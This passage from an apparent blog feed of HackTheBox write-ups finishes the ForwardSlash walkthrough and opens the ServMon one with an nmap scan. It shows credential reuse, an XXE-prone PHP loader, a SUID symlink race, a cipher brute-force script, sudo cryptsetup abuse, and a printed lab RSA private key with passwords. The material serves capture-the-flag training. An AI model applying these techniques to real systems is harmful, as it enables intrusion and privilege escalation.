vZD0iZ2V0IiBpZD0ieG1sdGVzdCI+CgkJPHRleHRhcmVhIG5hbWU9InhtbCIgZm9ybT0ieG1sdGVzdCIgcm93cz0iMjAiIGNvbHM9IjUwIj48YXBpPgogICAgPHJlcXVlc3Q+dGVzdDwvcmVxdWVzdD4KPC9hcGk+CjwvdGV4dGFyZWE+CgkJPGlucHV0IHR5cGU9InN1Ym1pdCI+Cgk8L2Zvcm0+Cgo8L2h0bWw+Cgo8IS0tIFRPRE86CkZpeCBGVFAgTG9naW4KLS0+Cgo8P3BocAppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICJHRVQiICYmIGlzc2V0KCRfR0VUWyd4bWwnXSkpIHsKCgkkcmVnID0gJy9mdHA6XC9cL1tcc1xTXSpcL1wiLyc7CgkvLyRyZWcgPSAnLygoKCgyNVswLTVdKXwoMlswLTRdXGQpfChbMDFdP1xkP1xkKSkpXC4pezN9KCgoKDI1WzAtNV0pfCgyWzAtNF1cZCl8KFswMV0/XGQ/XGQpKSkpLycKCglpZiAocHJlZ19tYXRjaCgkcmVnLCAkX0dFVFsneG1sJ10sICRtYXRjaCkpIHsKCQkkaXAgPSBleHBsb2RlKCcvJywgJG1hdGNoWzBdKVsyXTsKCQllY2hvICRpcDsKCQllcnJvcl9sb2coIkNvbm5lY3RpbmciKTsKCgkJJGNvbm5faWQgPSBmdHBfY29ubmVjdCgkaXApIG9yIGRpZSgiQ291bGRuJ3QgY29ubmVjdCB0byAkaXBcbiIpOwoKCQllcnJvcl9sb2coIkxvZ2dpbmcgaW4iKTsKCgkJaWYgKEBmdHBfbG9naW4oJGNvbm5faWQsICJjaGl2IiwgJ04wYm9keUwxa2VzQmFjay8nKSkgewoKCQkJZXJyb3JfbG9nKCJHZXR0aW5nIGZpbGUiKTsKCQkJZWNobyBmdHBfZ2V0X3N0cmluZygkY29ubl9pZCwgImRlYnVnLnR4dCIpOwoJCX0KCgkJZXhpdDsKCX0KCglsaWJ4bWxfZGlzYWJsZV9lbnRpdHlfbG9hZGVyIChmYWxzZSk7CgkkeG1sZmlsZSA9ICRfR0VUWyJ4bWwiXTsKCSRkb20gPSBuZXcgRE9NRG9jdW1lbnQoKTsKCSRkb20tPmxvYWRYTUwoJHhtbGZpbGUsIExJQlhNTF9OT0VOVCB8IExJQlhNTF9EVERMT0FEKTsKCSRhcGkgPSBzaW1wbGV4bWxfaW1wb3J0X2RvbSgkZG9tKTsKCSRyZXEgPSAkYXBpLT5yZXF1ZXN0OwoJZWNobyAiLS0tLS1vdXRwdXQtLS0tLTxicj5cclxuIjsKCWVjaG8gIiRyZXEiOwp9CgpmdW5jdGlvbiBmdHBfZ2V0X3N0cmluZygkZnRwLCAkZmlsZW5hbWUpIHsKICAgICR0ZW1wID0gZm9wZW4oJ3BocDovL3RlbXAnLCAncisnKTsKICAgIGlmIChAZnRwX2ZnZXQoJGZ0cCwgJHRlbXAsICRmaWxlbmFtZSwgRlRQX0JJTkFSWSwgMCkpIHsKICAgICAgICByZXdpbmQoJHRlbXApOwogICAgICAgIHJldHVybiBzdHJlYW1fZ2V0X2NvbnRlbnRzKCR0ZW1wKTsKICAgIH0KICAgIGVsc2UgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KfQoKPz4K
</code></pre></div>
<p>We decode the base64 content to get the old database credentials.</p>
<div class="highlight"><pre><span></span><code><span class="x">if (preg_match($reg, $_GET['xml'], $match)) {</span>
<span class="x"> $ip = explode('/', $match[0])[2];</span>
<span class="x"> echo $ip;</span>
<span class="x"> error_log("Connecting");</span>
<span class="x"> $conn_id = ftp_connect($ip) or die("Couldn't connect to $ip\n");</span>
<span class="x"> error_log("Logging in");</span>
<span class="x"> if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {</span>
<span class="x"> error_log("Getting file");</span>
<span class="x"> echo ftp_get_string($conn_id, "debug.txt");</span>
</code></pre></div>
<p>This credentials are also valid for the SSH service as <code>chiv</code>.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ ssh chiv@forwardslash.htb
chiv@forwardslash.htb's password:
<snip>
chiv@forwardslash:~$
</snip></code></pre></div>
<p>There is no user.txt in <code>chiv</code>'s home folder. The other user is <code>pain</code> with the
<code>uid</code> 1000. We start enumerating the box for a privilege escalation.</p>
<p>We can list the file in the <code>pain</code> user homefolder. The <code>encryptorinator</code> and
<code>note.txt</code> are even readable by they are for the root part, so we will come back
to them later.</p>
<div class="highlight"><pre><span></span><code>chiv@forwardslash:~$ ls ../pain/
encryptorinator note.txt user.txt
</code></pre></div>
<p>When looking at <code>/var/backups/</code> we see a few interesting files, mainly the
<code>config.php.bak</code> that is only readable by the <code>pain</code> user.</p>
<div class="highlight"><pre><span></span><code>chiv@forwardslash:~$ ls /var/backups/ -l
total 996
-rw-r--r-- 1 root root 61440 Mar 24 06:25 alternatives.tar.0
-rw-r--r-- 1 root root 38908 Mar 24 06:17 apt.extended_states.0
-rw-r--r-- 1 root root 4115 Mar 6 14:17 apt.extended_states.1.gz
-rw-r--r-- 1 root root 3909 Mar 5 14:46 apt.extended_states.2.gz
-rw------- 1 pain pain 526 Jun 21 2019 config.php.bak
-rw-r--r-- 1 root root 437 Mar 5 14:07 dpkg.diversions.0
-rw-r--r-- 1 root root 202 Mar 5 14:07 dpkg.diversions.1.gz
-rw-r--r-- 1 root root 207 Mar 5 14:47 dpkg.statoverride.0
-rw-r--r-- 1 root root 171 Mar 5 14:47 dpkg.statoverride.1.gz
-rw-r--r-- 1 root root 668374 Mar 24 06:17 dpkg.status.0
-rw-r--r-- 1 root root 188241 Mar 24 06:17 dpkg.status.1.gz
-rw------- 1 root root 730 Mar 17 20:13 group.bak
-rw------- 1 root shadow 604 Mar 17 20:13 gshadow.bak
-r--r--r-- 1 root root 129 May 27 2019 note.txt
-rw------- 1 root root 1660 Mar 5 14:46 passwd.bak
drwxrwx--- 2 root backupoperator 4096 May 27 2019 recovery
-rw------- 1 root shadow 1174 Mar 6 14:21 shadow.bak
</code></pre></div>
<p>When looking for SUID binary we found that the binary <code>/usr/bin/backup</code> is SUID
and belonging to the <code>pain</code> user.</p>
<div class="highlight"><pre><span></span><code>chiv@forwardslash:/home/pain$ find / -uid 1000 -perm -4000 -type f 2>/dev/null
/usr/bin/backup
</code></pre></div>
<p>The binary is a standard linux program. When we run it, it told us that a file
doesn't exist. The filename looks like a MD5 hash.</p>
<div class="highlight"><pre><span></span><code>chiv@forwardslash:/home/pain$ file /usr/bin/backup
/usr/bin/backup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=e0fcfb1c48fe0b5377774c1d237dc50ddfa41c08, not stripped
chiv@forwardslash:/home/pain$ /usr/bin/backup
----------------------------------------------------------------------
Pain's Next-Gen Time Based Backup Viewer
v0.1
NOTE: not reading the right file yet,
only works if backup is taken in same second
----------------------------------------------------------------------
Current Time: 10:14:45
ERROR: f057d631c54aae27e968bc3fafb02b4e Does Not Exist or Is Not Accessible By Me, Exiting...
</code></pre></div>
<p>We use <code>ltrace</code> to see what are the system call of the program and we see that
the filename is a MD5 hash of the current time.</p>
<div class="highlight"><pre><span></span><code>chiv@forwardslash:/home/pain$ ltrace /usr/bin/backup
getuid() = 1001
getgid() = 1001
puts("--------------------------------"...----------------------------------------------------------------------
Pain's Next-Gen Time Based Backup Viewer
v0.1
NOTE: not reading the right file yet,
only works if backup is taken in same second
----------------------------------------------------------------------
) = 277
time(0) = 1588846490
localtime(0x7ffdb8c71790) = 0x7f373a3526a0
malloc(13) = 0x56277209e8e0
sprintf("10:14:50", "%02d:%02d:%02d", 10, 14, 50) = 8
strlen("10:14:50") = 8
malloc(33) = 0x56277209e900
MD5_Init(0x7ffdb8c716e0, 4000, 0x56277209e900, 0x56277209e900) = 1
MD5_Update(0x7ffdb8c716e0, 0x56277209e8e0, 8, 0x56277209e8e0) = 1
MD5_Final(0x7ffdb8c71740, 0x7ffdb8c716e0, 0x7ffdb8c716e0, 0) = 1
snprintf("9c", 32, "%02x", 0x9c) = 2
snprintf("71", 32, "%02x", 0x71) = 2
snprintf("36", 32, "%02x", 0x36) = 2
snprintf("55", 32, "%02x", 0x55) = 2
snprintf("35", 32, "%02x", 0x35) = 2
snprintf("e4", 32, "%02x", 0xe4) = 2
snprintf("4d", 32, "%02x", 0x4d) = 2
snprintf("c7", 32, "%02x", 0xc7) = 2
snprintf("6d", 32, "%02x", 0x6d) = 2
snprintf("65", 32, "%02x", 0x65) = 2
snprintf("bb", 32, "%02x", 0xbb) = 2
snprintf("cd", 32, "%02x", 0xcd) = 2
snprintf("1f", 32, "%02x", 0x1f) = 2
snprintf("aa", 32, "%02x", 0xaa) = 2
snprintf("ab", 32, "%02x", 0xab) = 2
snprintf("14", 32, "%02x", 0x14) = 2
printf("Current Time: %s\n", "10:14:50"Current Time: 10:14:50
) = 23
setuid(1002) = -1
setgid(1002) = -1
access("9c71365535e44dc76d65bbcd1faaab14"..., 0) = -1
printf("ERROR: %s Does Not Exist or Is N"..., "9c71365535e44dc76d65bbcd1faaab14"...ERROR: 9c71365535e44dc76d65bbcd1faaab14 Does Not Exist or Is Not Accessible By Me, Exiting...
) = 94
setuid(1001) = 0
setgid(1001) = 0
remove("9c71365535e44dc76d65bbcd1faaab14"...) = -1
+++ exited (status 0) +++
</code></pre></div>
<p>With a simple combination of <code>grep</code> and <code>cut</code> we can extract the current filename
used by the program:</p>
<div class="highlight"><pre><span></span><code>chiv@forwardslash:~$ /usr/bin/backup | grep ERROR | cut -d ' ' -f 2
705159512ab36c24a46aead527de7fb5
</code></pre></div>
<p>We can then create a temporary folder and try to get the file <code>user.txt</code> in
pain's homedir by creating a symlink with the name of the file used by the backup
program and then read it.</p>
<div class="highlight"><pre><span></span><code>chiv@forwardslash:/tmp/lolo$ ln -s /home/pain/user.txt ./$(/usr/bin/backup | grep ERROR | cut -d ' ' -f 2) && /usr/bin/backup
----------------------------------------------------------------------
Pain's Next-Gen Time Based Backup Viewer
v0.1
NOTE: not reading the right file yet,
only works if backup is taken in same second
----------------------------------------------------------------------
Current Time: 12:28:53
aec49cafdb7eec8710d3bdf623ac28f7
</code></pre></div>
<p>We apply the same thing for the <code>config.php.bak</code> file in <code>/var/backup/</code> and get
some database credentials.</p>
<div class="highlight"><pre><span></span><code>chiv@forwardslash:/tmp/lolo$ ln -s /var/backups/config.php.bak ./$(/usr/bin/backup | grep ERROR | cut -d ' ' -f 2) && /usr/bin/backup
----------------------------------------------------------------------
Pain's Next-Gen Time Based Backup Viewer
v0.1
NOTE: not reading the right file yet,
only works if backup is taken in same second
----------------------------------------------------------------------
Current Time: 12:28:11
<?php
/* Database credentials. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'pain');
define('DB_PASSWORD', 'db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704');
define('DB_NAME', 'site');
/* Attempt to connect to MySQL database */
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
// Check connection
if($link === false){
die("ERROR: Could not connect. " . mysqli_connect_error());
}
?>
</code></pre></div>
<p>This credentials allows us to connect as pain using SSH (we can grab the
<code>user.txt</code> again).</p>
<div class="highlight"><pre><span></span><code>kali@kali:~/pown/htb_cache$ ssh pain@10.10.10.183
pain@10.10.10.183's password:
<snip>
pain@forwardslash:~$ cat user.txt
96628de4960f22df8f7006205a8fa0bf
</snip></code></pre></div>
<h2>Getting root</h2>
<p>In <code>pain</code> homefolder we also found a <code>note.txt</code> which disclose that some
"important" file are encrypted using homemade crypto (<strong>never use homemade
crypto</strong>).</p>
<div class="highlight"><pre><span></span><code>pain@forwardslash:~$ cat note.txt
Pain, even though they got into our server, I made sure to encrypt any important files and then did some crypto magic on the key... I gave you the key in person the other day, so unless these hackers are some crypto experts we should be good to go.
-chiv
</code></pre></div>
<p>The folder <code>encryptorinator</code> contains a scripts in order to encrypt and
decrypt a message and an encrypted message. The <code>encrypter</code> script is the
following:</p>
<div class="highlight"><pre><span></span><code><span class="k">def</span> <span class="nf">encrypt</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">msg</span><span class="p">):</span>
<span class="n">key</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
<span class="n">msg</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span>
<span class="k">for</span> <span class="n">char_key</span> <span class="ow">in</span> <span class="n">key</span><span class="p">:</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">msg</span><span class="p">)):</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">tmp</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">msg</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">+</span> <span class="nb">ord</span><span class="p">(</span><span class="n">char_key</span><span class="p">)</span> <span class="o">+</span> <span class="nb">ord</span><span class="p">(</span><span class="n">msg</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">tmp</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">msg</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">+</span> <span class="nb">ord</span><span class="p">(</span><span class="n">char_key</span><span class="p">)</span> <span class="o">+</span> <span class="nb">ord</span><span class="p">(</span><span class="n">msg</span><span class="p">[</span><span class="n">i</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
<span class="k">while</span> <span class="n">tmp</span> <span class="o">></span> <span class="mi">255</span><span class="p">:</span>
<span class="n">tmp</span> <span class="o">-=</span> <span class="mi">256</span>
<span class="n">msg</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">tmp</span><span class="p">)</span>
<span class="k">return</span> <span class="s1">''</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">msg</span><span class="p">):</span>
<span class="n">key</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
<span class="n">msg</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span>
<span class="k">for</span> <span class="n">char_key</span> <span class="ow">in</span> <span class="nb">reversed</span><span class="p">(</span><span class="n">key</span><span class="p">):</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">reversed</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">msg</span><span class="p">))):</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">tmp</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">msg</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">-</span> <span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">char_key</span><span class="p">)</span> <span class="o">+</span> <span class="nb">ord</span><span class="p">(</span><span class="n">msg</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]))</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">tmp</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">msg</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">-</span> <span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">char_key</span><span class="p">)</span> <span class="o">+</span> <span class="nb">ord</span><span class="p">(</span><span class="n">msg</span><span class="p">[</span><span class="n">i</span><span class="o">-</span><span class="mi">1</span><span class="p">]))</span>
<span class="k">while</span> <span class="n">tmp</span> <span class="o"><</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">tmp</span> <span class="o">+=</span> <span class="mi">256</span>
<span class="n">msg</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">tmp</span><span class="p">)</span>
<span class="k">return</span> <span class="s1">''</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">encrypt</span><span class="p">(</span><span class="s1">'REDACTED'</span><span class="p">,</span> <span class="s1">'REDACTED'</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">decrypt</span><span class="p">(</span><span class="s1">'REDACTED'</span><span class="p">,</span> <span class="n">encrypt</span><span class="p">(</span><span class="s1">'REDACTED'</span><span class="p">,</span> <span class="s1">'REDACTED'</span><span class="p">))</span>
</code></pre></div>
<p>The key can quickly be brute force with a quick script including the <code>decrypt</code>
function and looking for some "classic" English words in the decrypted text.</p>
<div class="highlight"><pre><span></span><code><span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">msg</span><span class="p">):</span>
<span class="n">key</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
<span class="n">msg</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span>
<span class="k">for</span> <span class="n">char_key</span> <span class="ow">in</span> <span class="nb">reversed</span><span class="p">(</span><span class="n">key</span><span class="p">):</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">reversed</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">msg</span><span class="p">))):</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">tmp</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">msg</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">-</span> <span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">char_key</span><span class="p">)</span> <span class="o">+</span> <span class="nb">ord</span><span class="p">(</span><span class="n">msg</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]))</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">tmp</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">msg</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">-</span> <span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">char_key</span><span class="p">)</span> <span class="o">+</span> <span class="nb">ord</span><span class="p">(</span><span class="n">msg</span><span class="p">[</span><span class="n">i</span><span class="o">-</span><span class="mi">1</span><span class="p">]))</span>
<span class="k">while</span> <span class="n">tmp</span> <span class="o"><</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">tmp</span> <span class="o">+=</span> <span class="mi">256</span>
<span class="n">msg</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">tmp</span><span class="p">)</span>
<span class="k">return</span> <span class="s1">''</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span>
<span class="n">ciphertext</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'ciphertext'</span><span class="p">,</span> <span class="s1">'r'</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><span class="o">.</span><span class="n">rstrip</span><span class="p">()</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">165</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">33</span><span class="p">,</span><span class="mi">127</span><span class="p">):</span>
<span class="n">key</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">j</span><span class="p">)</span> <span class="o">*</span> <span class="n">i</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">decrypt</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">ciphertext</span><span class="p">)</span>
<span class="k">if</span> <span class="s1">'the '</span> <span class="ow">in</span> <span class="n">msg</span> <span class="ow">or</span> <span class="s1">'be '</span> <span class="ow">in</span> <span class="n">msg</span> <span class="ow">or</span> <span class="s1">'and '</span> <span class="ow">in</span> <span class="n">msg</span> <span class="ow">or</span> <span class="s1">'of '</span> <span class="ow">in</span> <span class="n">msg</span> <span class="p">:</span>
<span class="n">exit</span><span class="p">(</span><span class="s2">"Key: </span><span class="si">{0}</span><span class="s2">, Key length: </span><span class="si">{1}</span><span class="s2">, Msg: </span><span class="si">{2}</span><span class="s2">"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">),</span> <span class="n">msg</span><span class="p">))</span>
</code></pre></div>
<p>Running the script give the following result:</p>
<div class="highlight"><pre><span></span><code>$ python2 decode.py
Key: ttttttttttttttttt, Key length: 17, Msg: Hlô¿vFÞ;©¨ºÒÀî&you liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf
</code></pre></div>
<p><em>Note: there seems to be some flow in the encryption as every key starting with
<code>t</code> and 17 characters long will decrypt the message. I modified the script to
use a fixed key:</em></p>
<div class="highlight"><pre><span></span><code>$ python2 decode.py
Key: t2345678901234567, Key length: 17, Msg: HdD.ÛÄçáp¿éyou liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf
</code></pre></div>
<p>We look at our <code>sudo</code> permission. We can run a few commands as root without
password mostly <code>/sbin/cryptsetup luksOpen</code> that allow to open a LUKS encrypted
image.</p>
<div class="highlight"><pre><span></span><code>pain@forwardslash:~$ sudo -l
Matching Defaults entries for pain on forwardslash:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pain may run the following commands on forwardslash:
(root) NOPASSWD: /sbin/cryptsetup luksOpen *
(root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/
(root) NOPASSWD: /bin/umount ./mnt/
</code></pre></div>
<p>With the passphrase and our <code>sudo</code> permission we can easily open the
<code>encrypted_backup.img</code> image which contain a RSA private key.</p>
<div class="highlight"><pre><span></span><code>pain@forwardslash:/tmp/plop$ mkdir mnt
pain@forwardslash:/tmp/plop$ sudo /sbin/cryptsetup luksOpen /var/backups/recovery/encrypted_backup.img backup
Enter passphrase for /var/backups/recovery/encrypted_backup.img:
pain@forwardslash:/tmp/plop$ sudo /bin/mount /dev/mapper/backup ./mnt/
pain@forwardslash:/tmp/plop$ ls mnt/
id_rsa
pain@forwardslash:/tmp/plop$ cat mnt/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA9i/r8VGof1vpIV6rhNE9hZfBDd3u6S16uNYqLn+xFgZEQBZK
RKh+WDykv/gukvUSauxWJndPq3F1Ck0xbcGQu6+1OBYb+fQ0B8raCRjwtwYF4gaf
yLFcOS111mKmUIB9qR1wDsmKRbtWPPPvgs2ruafgeiHujIEkiUUk9f3WTNqUsPQc
u2AG//ZCiqKWcWn0CcC2EhWsRQhLOvh3pGfv4gg0Gg/VNNiMPjDAYnr4iVg4XyEu
NWS2x9PtPasWsWRPLMEPtzLhJOnHE3iVJuTnFFhp2T6CtmZui4TJH3pij6wYYis9
MqzTmFwNzzx2HKS2tE2ty2c1CcW+F3GS/rn0EQIDAQABAoIBAQCPfjkg7D6xFSpa
V+rTPH6GeoB9C6mwYeDREYt+lNDsDHUFgbiCMk+KMLa6afcDkzLL/brtKsfWHwhg
G8Q+u/8XVn/jFAf0deFJ1XOmr9HGbA1LxB6oBLDDZvrzHYbhDzOvOchR5ijhIiNO
3cPx0t1QFkiiB1sarD9Wf2Xet7iMDArJI94G7yfnfUegtC5y38liJdb2TBXwvIZC
vROXZiQdmWCPEmwuE0aDj4HqmJvnIx9P4EAcTWuY0LdUU3zZcFgYlXiYT0xg2N1p
MIrAjjhgrQ3A2kXyxh9pzxsFlvIaSfxAvsL8LQy2Osl+i80WaORykmyFy5rmNLQD
Ih0cizb9AoGBAP2+PD2nV8y20kF6U0+JlwMG7WbV/rDF6+kVn0M2sfQKiAIUK3Wn
5YCeGARrMdZr4fidTN7koke02M4enSHEdZRTW2jRXlKfYHqSoVzLggnKVU/eghQs
V4gv6+cc787HojtuU7Ee66eWj0VSr0PXjFInzdSdmnd93oDZPzwF8QUnAoGBAPhg
e1VaHG89E4YWNxbfr739t5qPuizPJY7fIBOv9Z0G+P5KCtHJA5uxpELrF3hQjJU8
6Orz/0C+TxmlTGVOvkQWij4GC9rcOMaP03zXamQTSGNROM+S1I9UUoQBrwe2nQeh
i2B/AlO4PrOHJtfSXIzsedmDNLoMqO5/n/xAqLAHAoGATnv8CBntt11JFYWvpSdq
tT38SlWgjK77dEIC2/hb/J8RSItSkfbXrvu3dA5wAOGnqI2HDF5tr35JnR+s/JfW
woUx/e7cnPO9FMyr6pbr5vlVf/nUBEde37nq3rZ9mlj3XiiW7G8i9thEAm471eEi
/vpe2QfSkmk1XGdV/svbq/sCgYAZ6FZ1DLUylThYIDEW3bZDJxfjs2JEEkdko7mA
1DXWb0fBno+KWmFZ+CmeIU+NaTmAx520BEd3xWIS1r8lQhVunLtGxPKvnZD+hToW
J5IdZjWCxpIadMJfQPhqdJKBR3cRuLQFGLpxaSKBL3PJx1OID5KWMa1qSq/EUOOr
OENgOQKBgD/mYgPSmbqpNZI0/B+6ua9kQJAH6JS44v+yFkHfNTW0M7UIjU7wkGQw
ddMNjhpwVZ3//G6UhWSojUScQTERANt8R+J6dR0YfPzHnsDIoRc7IABQmxxygXDo
ZoYDzlPAlwJmoPQXauRl1CgjlyHrVUTfS0AkQH2ZbqvK5/Metq8o
-----END RSA PRIVATE KEY-----
</code></pre></div>
<p>With the private key we can directly connect as <code>root</code> to the local machine and get
the <code>root.txt</code> flag:</p>
<div class="highlight"><pre><span></span><code>pain@forwardslash:/tmp/plop$ ssh root@localhost -i mnt/id_rsa
<snip>
root@forwardslash:~# cat root.txt
419f9c340fcc83acccfcbebfe17d2538
</snip></code></pre></div>
<h1>Wrapping up</h1>
<p>This box was hard. I don't usually do the hard box as they take so much time.
This one was long and I ask a few questions on the discord channel to avoid
taking too much time on rabbit hole. Nevertheless the box feels good.</p>HTB: ServMon2020-06-21T09:15:00+02:002020-06-21T09:15:00+02:00maggicktag:maggick.fr,2020-06-21:/2020/06/htb-servmon.html<p><img alt="ServMon Card" class="align-left" src="/media/2020.06/servmon_card.png" width="262"/></p>
<p>This article is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/240">ServMon</a> publish on April
11 2020 by <a href="https://www.hackthebox.com/home/users/profile/82600">dmw0ng</a>.
This box is rated as an easy box. This box is really unstable and can be a pain
as there is a lot of reset on public server. It implies an anonymous FTP, a
<code>Passwords.txt</code> file and two exploits.</p>
<p><img alt="ServMon Card" class="align-left" src="/media/2020.06/servmon_card.png" width="262"/></p>
<p>This article is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/240">ServMon</a> publish on April
11 2020 by <a href="https://www.hackthebox.com/home/users/profile/82600">dmw0ng</a>.
This box is rated as an easy box. This box is really unstable and can be a pain
as there is a lot of reset on public server. It implies an anonymous FTP, a
<code>Passwords.txt</code> file and two exploits.</p>
<h1>User part</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan. As often with Windows Boxes, a lot of
port are open. A few interesting services are up:
* FTP on port 21
* SSH (for Windows) on port 22
* a Web service on port 80
* a Web service (with SSL) on port 8433</p>
<p>Here is the full nmap scan:</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Wed Apr 15 03:04:29 2020 as: nmap -p- -sSV -oN nmap 10.10.10.184
Nmap scan report for 10.10.10.184
Host is up (0.013s latency).
Not shown: 65515 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
80/tcp open http
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5040/tcp open unknown
5666/tcp open nrpe?
6063/tcp open tcpwrapped
6699/tcp open napster?
7680/tcp open pando-pub?
8443/tcp open ssl/https-alt
31336/tcp open nagios-nsca Nagios NSCA
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.80%I=7%D=4/15%Time=5E96B393%P=x86_64-pc-linux-gnu%r(NULL
SF:,6B,"HTTP/1\.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20text/ht
